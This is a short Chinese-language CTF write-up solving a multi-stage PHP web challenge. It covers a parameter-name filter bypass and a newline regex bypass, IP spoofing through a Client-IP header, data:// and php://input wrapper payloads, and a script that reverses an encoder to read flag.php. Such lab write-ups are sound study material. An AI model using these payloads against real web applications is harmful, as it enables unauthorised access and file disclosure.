天璇的CTF平台地址:http://ctf.merak.codes/
之前看群里有人问这道题,做一下记录一下,
第一层:查看源代码
$query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ die('Y0u are So cutE!'); } if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){ echo "you are going to the next ~"; }
NCTF原题改编,构造Payload:
第一个if判断:php会把空格或者点(.)自动替换成下划线,可以用来绕过。
第二个if判断:数字后面加%0A绕过,正则匹配特性,加换行符,参看我前面php正则回溯的解释
Payload: ?b.u.p.t=23333%0A
第二层:解个JSFuck, POST:Merak=1即可得到源码:
<?php error_reporting(0); include 'takeip.php'; ini_set('open_basedir','.'); include 'flag.php'; if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); } function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!'."<br/>"; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>
第一个if,用XFF或者Client-IP,这里XFF被ban了
第二个php伪协议:(1)?2333= data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=
(2)php://input

最后file_get_contents()读取flag.php,发现经过了change函数加密,写一个逆解密脚本,
<?php function enc($payload){ for($i=0; $i<strlen($payload); $i++){ //原解密函数将chr(ord($v[$i])+$i*2)拼接在了最终返回值的后面 $re .= chr(ord($payload[$i])-$i*2); } return base64_encode($re); } echo enc('flag.php'); //flag.php加密后得到:ZmpdYSZmXGI= ?>
得到结果怼进去得到flag。